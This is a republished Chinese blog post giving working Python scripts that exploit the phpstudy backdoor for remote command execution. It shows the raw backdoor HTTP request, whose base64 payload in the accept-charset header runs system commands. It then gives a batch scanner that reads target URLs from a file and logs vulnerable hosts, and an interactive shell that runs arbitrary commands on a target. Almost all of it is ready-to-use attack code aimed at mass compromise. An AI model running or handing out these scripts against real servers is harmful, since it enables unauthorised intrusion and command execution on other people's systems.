phpstudy后門rce批量利用腳本的實(shí)現(xiàn)

來(lái)源：本站原創(chuàng)|時(shí)間：2020-01-11|欄目：PHP編程|點(diǎn)擊：次

寫兩個(gè)一個(gè)批量檢測(cè)的一個(gè)交互式shell的

暫時(shí)py 圖形化的qt寫出來(lái)..有點(diǎn)問題

后門包 :

GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7
Accept-Encoding: gzip,deflate
Upgrade-Insecure-Requests: 1

執(zhí)行那段寫shell即可

晚上抽點(diǎn)空簡(jiǎn)單寫個(gè)發(fā)包的py:

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import queue


print("======Phpstudy Backdoor Exploit============\n")
print("===========By Qing=================\n")
print("=====Blog：https://www.cnblogs.com/-qing-/==\n")
payload = "echo \"qing\";"
payload = base64.b64encode(payload.encode('utf-8'))
payload = str(payload, 'utf-8')
headers = {
  'Upgrade-Insecure-Requests': '1',
  'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
  'Accept-Language': 'zh-CN,zh;q=0.9',
  'accept-charset': payload,
  'Accept-Encoding': 'gzip,deflate',
  'Connection': 'close',
}



def write_shell(url,headers):
  try:
    r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=30)
    if "qing" in r.text:
      print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n')
      with open('success.txt','a') as f:
          f.write(url+'\n')
    else:
      print ('[ - ] BackDoor failed: '+url+'[ - ]\n')
  except:
    print ('[ - ] Timeout: '+url+' [ - ]\n')

url = "http://xxx"
write_shell(url=url,headers=headers)

界面優(yōu)化、改下多線程、批量讀取文本文件后的代碼:

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import threadpool


print("======Phpstudy Backdoor Exploit============\n")
print("===========By Qing=================\n")
print("=====Blog：https://www.cnblogs.com/-qing-/==\n")




def write_shell(url):
  payload = "echo \"qing\";"
  payload = base64.b64encode(payload.encode('utf-8'))
  payload = str(payload, 'utf-8')
  headers = {
  'Upgrade-Insecure-Requests': '1',
  'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
  'Accept-Language': 'zh-CN,zh;q=0.9',
  'accept-charset': payload,
  'Accept-Encoding': 'gzip,deflate',
  'Connection': 'close',
}
  try:
    r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=30)
    if "qing" in r.text:
      print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n')
      with open('success.txt','a') as f:
          f.write(url+'\n')
    else:
      print ('[ - ] BackDoor failed: '+url+'[ - ]\n')
  except:
    print ('[ - ] Timeout: '+url+' [ - ]\n')

# url = "http://xxx"
# write_shell(url=url,headers=headers)

def main():
  with open('url.txt','r') as f:
    lines = f.read().splitlines()
    task_pool=threadpool.ThreadPool(5)
    requests=threadpool.makeRequests(write_shell,lines)
  for req in requests:
    task_pool.putRequest(req)
    task_pool.wait() 
if __name__ == '__main__':
  main()


#線程隊(duì)列部分
# th=[]
# th_num=10
# for x in range(th_num):
#     t=threading.Thread(target=write_shell)
#     th.append(t)
# for x in range(th_num):
#     th[x].start()
# for x in range(th_num):
#     th[x].join()

你也可以加上讀取php文件的字典這個(gè)簡(jiǎn)單沒啥說(shuō)的

下一個(gè)是交互式shell

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import threadpool
import re

print("======Phpstudy Backdoor Exploit---os-shell============\n")
print("===========By Qing=================\n")
print("=====Blog：https://www.cnblogs.com/-qing-/==\n")



def os_shell(url,headers,payload):
  try:
    r = requests.get(url=url+'/phpinfo.php',headers=headers,verify=False,timeout=10)
    # print(r.text)
    res = re.findall("qing(.*?)qing",r.text,re.S)
    print("[ + ]===========The Response:==========[ + ]\n")
    res = "".join(res)
    print(res)
  except:
    print("[ - ]===========Failed! Timeout...==========[ - ]\n")

def main():
  url = input("input the Url , example:\"http://127.0.0.1/\"\n")
  payload = input("input the payload , default:echo system(\"whoami\");\n")
  de_payload = "echo \"qing\";system(\"whoami\");echo \"qing\";"
  if payload.strip() == '':
    payload = de_payload
  payload = "echo \"qing\";"+payload+"echo \"qing\";"
  payload = base64.b64encode(payload.encode('utf-8'))
  payload = str(payload, 'utf-8')
  headers = {
  'Upgrade-Insecure-Requests': '1',
  'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
  'Accept-Language': 'zh-CN,zh;q=0.9',
  'accept-charset': payload,
  'Accept-Encoding': 'gzip,deflate',
  'Connection': 'close',
  }
  os_shell(url=url,headers=headers,payload=payload)
if __name__ == '__main__':
  main()

以上就是本文的全部?jī)?nèi)容，希望對(duì)大家的學(xué)習(xí)有所幫助，也希望大家多多支持我們。

上一篇：關(guān)于PHP5.6+版本“No input file specified”問題的解決

欄目：PHP編程

下一篇：PHP學(xué)習(xí)記錄之面向?qū)ο螅∣bject-oriented programming，OOP）基礎(chǔ)【接口、抽象類、靜態(tài)方法等

本文標(biāo)題：phpstudy后門rce批量利用腳本的實(shí)現(xiàn)

本文地址：http://www.jygsgssxh.com/a1/PHPbiancheng/11034.html

更多PHP編程

雷火电竞-中国电竞赛事及体育赛事平台

PHP編程

phpstudy后門rce批量利用腳本的實(shí)現(xiàn)

您可能感興趣的文章

閱讀排行

本欄相關(guān)

隨機(jī)閱讀